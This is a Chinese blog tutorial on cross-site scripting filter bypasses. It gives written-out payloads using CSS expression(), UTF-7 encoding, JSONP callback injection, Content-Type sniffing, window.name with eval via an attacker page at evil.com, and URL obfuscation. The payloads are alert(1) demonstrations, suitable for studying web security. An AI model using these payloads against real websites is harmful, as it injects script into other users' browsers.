import     规则@ import引入的是一段CSS代码,利用方式与正常的CSS利用相同,在CSS属性名的任何地方都可以插入反斜线"\"以及反斜线+0的各种组合
   @im\p\0000ort "javascript:alert(1)";
expression
expression是IE所独有的CSS属性,示例如下
div{xss:expression(alert(1))}
但是一旦这样做ie就会不停的弹出窗口,
于是我们这样div{xss:expression(if(window.x!=1){alert(1)} window.x=1;  )
 其中,我们可以有很多方法对抗对expression的检测,在IE6之下我们可以在expression中插入/**/,在IE6下,甚至可以使用全角转换。
 
利用UTF7实施编码
@charset "utf-7";
di+AHYAIAB7AHgAcwBzADo-e+AHgAcABy-e+AHMAcw-i+AG8-n+ACgAYQBs-e+AHIAdAAoADEAKQApAH0-
 当然我们也可以这样并不需要     @charset "utf-7"
+/v8
di+AHYAIAB7AHgAcwBzADo-e+AHgAcABy-e+AHMAcw-i+AG8-n+ACgAYQBs-e+AHIAdAAoADEAKQApAH0-
 
+/v8
+/v9
+/v+
+/v/
当这几个字符在文件的头部时候,IE6就会把它当作UTF-7来解释。
 JAVASCRIPT中代码注入技巧
 当XSS点出现在Javascript代码的变量中时,只要我们可以顺利闭合变量,
 
<html>
<head>
</head>
<body>
<script>
var a="<?php echo $_GET['x'];?>";
</script>
</body>
</html>

对于以上代码,我们构造以下url
http://127.0.0.1/xss.php?a=123";alert(1);b="

a变量被闭合,alert(1)得以逃逸,而b变量的存在是为了使语法正确,当然我们也可以输入注释符//来忽略掉后面的错误语法

 然而想试图通过这种方法注入并不是十分简单

比如我们会发现对方站点会给userinput试用了addslashes

或者构造以下URL
view-source:http://127.0.0.1/xss.php?x=123</script><script>alert(1);</script>

构成了以下代码

<script>
var a="123</script><script>alert(1);</script>";
</script>
这是因为</script>无论在何处都可以闭合标签

 1.JSON

 随着AJAX技术以及Web2.0的发展,JSON逐渐成为一种更通用的数据交换格式,JSON大体上有两种格式,没有callback函数名的裸OBJECT

形式和有callback函数名调用object的形式,格式如下

 [{“a”:“b”}]

callback([“a”:"b"])

后者的存在主要是为了跨域数据传输的需要,而这个特性通常也成了攻击者跨域获取用户隐私数据的重要渠道(JSON   HiJacking。)另外,一些应用为了维持数据接口的定制性,通常会让数据请求方在请求参数中提供callback函数名,而不是由数据提供方定制,如请求方发起请求:

 get_json.php?id=123&call_back=some_function

数据方提供数据的callback格式为

some_function([{'id':123,data:'some_data'}]);

这里需要注意的是,如果提供方没有对callback函数名作安全过滤,并且页面本身也没有对HTTP响应头的Content-Type做限制,那么我们便直接对

callback参数进行利用,输入xss代码,如

get_json.php?id=123&call_back=<script>alert(1);</script>

那么数据提供方返回的数据就会成为如下形式,

<script>alert(1);</script>([{'id':'123','data':'some_data'}];

由于页面是可访问的,而且如前面所说,页面本身有没有对Contnet-Type头作限制,浏览器默认就会当成HTML解析,使得

我们的XSS代码能够正常执行。

当然程序员也不会这么傻,他们会过滤掉"<>"这两个字符,可是结合我们之前的添加UTF-7BOM头,从而绕过。

当然,有一部分数据提供方采取了另一种巧妙的防御策略:给JSON数据页面的相应头设置Content-Type,来使访问该页面时以下载的方式呈现,而不是HTML的方式呈现。对于这种方式,我们依然有两种方式,可以绕过

方式一

看提供方的Content-Type设计得够不够好,有些提供方设置的是"text/javascript",这种type在IE下是有效的,但是在Firefox下,是可以执行的

这里有个问题,编写相应的客户端文件类型?

有些提供方设置的是"text/plain",这是在firefox下是有效的,但是在IE下却会执行。

有些甚至把Content-Type设置成ZIP的头"application/x-zip-compressed",这种Content-Type对于  “http://test/test.php?xss=123”  请求的确是有效的,但是对于http://test/test/php?xss=<script>alert(1)</script>请求,在IE下却会失效。

分析几个MIME类型

application/x-zip-compressed是一个压缩包

text/plain显示的是一个源代码

方式二

方式二主要利用IE浏览器确定文件类型时不完全依赖Content-Type的特性,有时,如果我们直接增加一个URL参数为a.html,IE会认为这是一个HTML文件而忽略Content-Type,使用html来解析文件,foo.cgi?id=123&a.html

                                                    foo/?id=123&a.html

                     foo.php/a.html?id=123(apache服务器会忽略掉/a.html去请求foo.php)

2.Javascript中的代码混淆

 1.当代码被作了htmlencode过滤时,我们可以这样,eval(StringfromCharCode来执行)

如果对输入的内容有字数限制,我们甚至可以输入eval(name)来做执行入口

 

 被攻击

<html>
<head>
<meta http-equiv="Content-type" content="application/plain" />
</head>
<body>
<script>
eval(window.name);
</script>
</body>
</html>

攻击者在自己的网站

<html>
<head>
</head>
<body>
<script>
window.name="alert(1)";
location.href="http://www.evil.com/test.html";
</script>
</body>
</html>

除了以上那种限制之外,还有一种可能,就是没有限制自述,却过滤了大部分函数
如eval,alert,如我们可以用(0)['constructor']['constructor']来代替eval,试了一下,似乎(0)[‘constructor’]也可以  !!!但是暂时还不知道原因

 当然,我们还可以通过Flash来绕过过滤器和隐藏我们的脚本内容:

<embed    allowscriptaccess="always" src="http://www.attack.swf"  />

突破URL过滤

 有的时候,再注入URL时,可以参考如下一些技巧来绕过过滤,服务器试图通过正则或一些匹配来防止我们输入指定URL

比如说正常<a href="http://66.102.7.147">xss</a>

我们可以通过以下几种方式进行逃逸

1.URL编码

2.进制转换,比如前面的66可以换成如下

 3.在其中添加&#9;(空格)

4.去掉http://标签

 

 

 

 

 

 

 

 

 

 

 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

 

 

  

 

posted @ 2015-10-20 17:10  平何去何  阅读(1692)  评论(0)    收藏  举报